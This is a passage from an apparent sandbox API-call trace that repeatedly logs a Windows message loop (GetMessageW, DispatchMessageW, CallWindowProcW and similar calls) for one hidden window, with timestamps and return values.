(lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0266.047] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0267.061] GetParent (hWnd=0x30098) returned 0x0 [0267.061] GetParent (hWnd=0x30098) returned 0x0 [0267.061] GetParent (hWnd=0x30098) returned 0x0 [0267.061] GetParent (hWnd=0x30098) returned 0x0 [0267.061] TranslateMessage (lpMsg=0xc3d688) returned 0 [0267.061] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0267.061] IsWindowVisible (hWnd=0x30098) returned 0 [0267.061] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0267.062] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0267.062] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0267.062] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0267.062] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0267.062] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0268.061] GetParent (hWnd=0x30098) returned 0x0 [0268.061] GetParent (hWnd=0x30098) returned 0x0 [0268.061] GetParent (hWnd=0x30098) returned 0x0 [0268.061] GetParent (hWnd=0x30098) returned 0x0 [0268.061] TranslateMessage (lpMsg=0xc3d688) returned 0 [0268.061] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0268.062] IsWindowVisible (hWnd=0x30098) returned 0 [0268.062] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0268.062] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0268.062] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0268.062] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0268.062] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0268.062] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0269.077] GetParent (hWnd=0x30098) returned 0x0 [0269.077] GetParent (hWnd=0x30098) returned 0x0 [0269.077] GetParent (hWnd=0x30098) returned 0x0 [0269.077] GetParent (hWnd=0x30098) returned 0x0 [0269.077] TranslateMessage (lpMsg=0xc3d688) returned 0 [0269.077] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0269.077] IsWindowVisible (hWnd=0x30098) returned 0 [0269.078] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0269.078] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0269.078] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0269.078] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0269.078] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0269.078] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0270.078] GetParent (hWnd=0x30098) returned 0x0 [0270.078] GetParent (hWnd=0x30098) returned 0x0 [0270.078] GetParent (hWnd=0x30098) returned 0x0 [0270.078] GetParent (hWnd=0x30098) returned 0x0 [0270.078] TranslateMessage (lpMsg=0xc3d688) returned 0 [0270.078] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0270.078] IsWindowVisible (hWnd=0x30098) returned 0 [0270.079] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0270.079] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0270.079] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0270.079] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0270.079] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0270.079] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0271.094] GetParent (hWnd=0x30098) returned 0x0 [0271.094] GetParent (hWnd=0x30098) returned 0x0 [0271.094] GetParent (hWnd=0x30098) returned 0x0 [0271.094] GetParent (hWnd=0x30098) returned 0x0 [0271.094] TranslateMessage (lpMsg=0xc3d688) returned 0 [0271.094] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0271.094] IsWindowVisible (hWnd=0x30098) returned 0 [0271.094] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0271.094] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0271.094] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0271.094] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0271.094] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0271.094] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0272.110] GetParent (hWnd=0x30098) returned 0x0 [0272.110] GetParent (hWnd=0x30098) returned 0x0 [0272.110] GetParent (hWnd=0x30098) returned 0x0 [0272.110] GetParent (hWnd=0x30098) returned 0x0 [0272.110] TranslateMessage (lpMsg=0xc3d688) returned 0 [0272.110] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0272.110] IsWindowVisible (hWnd=0x30098) returned 0 [0272.110] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0272.110] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0272.110] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0272.110] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0272.110] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0272.110] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0273.125] GetParent (hWnd=0x30098) returned 0x0 [0273.125] GetParent (hWnd=0x30098) returned 0x0 [0273.126] GetParent (hWnd=0x30098) returned 0x0 [0273.126] GetParent (hWnd=0x30098) returned 0x0 [0273.126] TranslateMessage (lpMsg=0xc3d688) returned 0 [0273.126] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0273.126] IsWindowVisible (hWnd=0x30098) returned 0 [0273.126] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0273.126] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0273.126] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0273.126] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0273.126] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0273.126] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0274.125] GetParent (hWnd=0x30098) returned 0x0 [0274.125] GetParent (hWnd=0x30098) returned 0x0 [0274.126] GetParent (hWnd=0x30098) returned 0x0 [0274.126] GetParent (hWnd=0x30098) returned 0x0 [0274.126] TranslateMessage (lpMsg=0xc3d688) returned 0 [0274.126] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0274.126] IsWindowVisible (hWnd=0x30098) returned 0 [0274.126] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0274.126] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0274.126] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0274.126] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0274.126] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0274.126] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0275.134] GetParent (hWnd=0x30098) returned 0x0 [0275.134] GetParent (hWnd=0x30098) returned 0x0 [0275.134] GetParent (hWnd=0x30098) returned 0x0 [0275.134] GetParent (hWnd=0x30098) returned 0x0 [0275.134] TranslateMessage (lpMsg=0xc3d688) returned 0 [0275.134] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0275.134] IsWindowVisible (hWnd=0x30098) returned 0 [0275.134] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0275.134] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0275.134] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0275.134] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0275.134] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0275.134] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0276.138] GetParent (hWnd=0x30098) returned 0x0 [0276.138] GetParent (hWnd=0x30098) returned 0x0 [0276.138] GetParent (hWnd=0x30098) returned 0x0 [0276.138] GetParent (hWnd=0x30098) returned 0x0 [0276.138] TranslateMessage (lpMsg=0xc3d688) returned 0 [0276.138] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0276.138] IsWindowVisible (hWnd=0x30098) returned 0 [0276.138] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0276.138] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0276.138] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0276.138] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0276.138] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0276.138] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0277.138] GetParent (hWnd=0x30098) returned 0x0 [0277.138] GetParent (hWnd=0x30098) returned 0x0 [0277.138] GetParent (hWnd=0x30098) returned 0x0 [0277.138] GetParent (hWnd=0x30098) returned 0x0 [0277.138] TranslateMessage (lpMsg=0xc3d688) returned 0 [0277.138] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0277.138] IsWindowVisible (hWnd=0x30098) returned 0 [0277.138] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0277.138] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0277.138] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0277.138] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0277.138] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0277.138] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0278.154] GetParent (hWnd=0x30098) returned 0x0 [0278.154] GetParent (hWnd=0x30098) returned 0x0 [0278.154] GetParent (hWnd=0x30098) returned 0x0 [0278.154] GetParent (hWnd=0x30098) returned 0x0 [0278.154] TranslateMessage (lpMsg=0xc3d688) returned 0 [0278.154] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0278.154] IsWindowVisible (hWnd=0x30098) returned 0 [0278.154] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0278.154] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0278.154] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0278.154] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0278.154] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0278.154] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0279.169] GetParent (hWnd=0x30098) returned 0x0 [0279.169] GetParent (hWnd=0x30098) returned 0x0 [0279.169] GetParent (hWnd=0x30098) returned 0x0 [0279.169] GetParent (hWnd=0x30098) returned 0x0 [0279.169] TranslateMessage (lpMsg=0xc3d688) returned 0 [0279.169] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0279.169] IsWindowVisible (hWnd=0x30098) returned 0 [0279.169] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0279.169] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0279.169] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0279.169] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0279.169] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0279.170] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0280.171] GetParent (hWnd=0x30098) returned 0x0 [0280.171] GetParent (hWnd=0x30098) returned 0x0 [0280.171] GetParent (hWnd=0x30098) returned 0x0 [0280.171] GetParent (hWnd=0x30098) returned 0x0 [0280.171] TranslateMessage (lpMsg=0xc3d688) returned 0 [0280.171] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0280.171] IsWindowVisible (hWnd=0x30098) returned 0 [0280.171] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0280.171] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0280.171] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0280.171] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0280.171] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0280.171] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0281.186] GetParent (hWnd=0x30098) returned 0x0 [0281.186] GetParent (hWnd=0x30098) returned 0x0 [0281.186] GetParent (hWnd=0x30098) returned 0x0 [0281.186] GetParent (hWnd=0x30098) returned 0x0 [0281.186] TranslateMessage (lpMsg=0xc3d688) returned 0 [0281.186] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0281.186] IsWindowVisible (hWnd=0x30098) returned 0 [0281.186] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0281.186] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0281.186] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0281.186] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0281.187] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0281.187] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0282.202] GetParent (hWnd=0x30098) returned 0x0 [0282.202] GetParent (hWnd=0x30098) returned 0x0 [0282.202] GetParent (hWnd=0x30098) returned 0x0 [0282.202] GetParent (hWnd=0x30098) returned 0x0 [0282.202] TranslateMessage (lpMsg=0xc3d688) returned 0 [0282.203] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0282.203] IsWindowVisible (hWnd=0x30098) returned 0 [0282.203] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0282.203] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0282.203] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0282.203] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0282.203] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0282.203] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0283.202] GetParent (hWnd=0x30098) returned 0x0 [0283.202] GetParent (hWnd=0x30098) returned 0x0 [0283.202] GetParent (hWnd=0x30098) returned 0x0 [0283.202] GetParent (hWnd=0x30098) returned 0x0 [0283.202] TranslateMessage (lpMsg=0xc3d688) returned 0 [0283.202] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0283.202] IsWindowVisible (hWnd=0x30098) returned 0 [0283.202] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0283.202] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0283.202] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0283.202] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0283.202] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0283.203] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0284.203] GetParent (hWnd=0x30098) returned 0x0 [0284.203] GetParent (hWnd=0x30098) returned 0x0 [0284.203] GetParent (hWnd=0x30098) returned 0x0 [0284.203] GetParent (hWnd=0x30098) returned 0x0 [0284.203] TranslateMessage (lpMsg=0xc3d688) returned 0 [0284.203] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0284.203] IsWindowVisible (hWnd=0x30098) returned 0 [0284.203] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0284.203] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0284.203] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0284.203] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0284.203] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0284.203] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0285.210] GetParent (hWnd=0x30098) returned 0x0 [0285.210] GetParent (hWnd=0x30098) returned 0x0 [0285.210] GetParent (hWnd=0x30098) returned 0x0 [0285.210] GetParent (hWnd=0x30098) returned 0x0 [0285.210] TranslateMessage (lpMsg=0xc3d688) returned 0 [0285.210] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0285.210] IsWindowVisible (hWnd=0x30098) returned 0 [0285.210] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0285.211] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0285.211] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0285.211] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0285.211] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0285.211] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0286.216] GetParent (hWnd=0x30098) returned 0x0 [0286.216] GetParent (hWnd=0x30098) returned 0x0 [0286.216] GetParent (hWnd=0x30098) returned 0x0 [0286.216] GetParent (hWnd=0x30098) returned 0x0 [0286.216] TranslateMessage (lpMsg=0xc3d688) returned 0 [0286.216] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0286.216] IsWindowVisible (hWnd=0x30098) returned 0 [0286.217] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0286.217] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0286.217] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0286.217] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0286.217] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0286.217] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0287.232] GetParent (hWnd=0x30098) returned 0x0 [0287.232] GetParent (hWnd=0x30098) returned 0x0 [0287.232] GetParent (hWnd=0x30098) returned 0x0 [0287.232] GetParent (hWnd=0x30098) returned 0x0 [0287.232] TranslateMessage (lpMsg=0xc3d688) returned 0 [0287.232] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0287.232] IsWindowVisible (hWnd=0x30098) returned 0 [0287.232] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0287.232] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0287.232] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0287.232] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0287.232] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0287.232] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0288.248] GetParent (hWnd=0x30098) returned 0x0 [0288.248] GetParent (hWnd=0x30098) returned 0x0 [0288.248] GetParent (hWnd=0x30098) returned 0x0 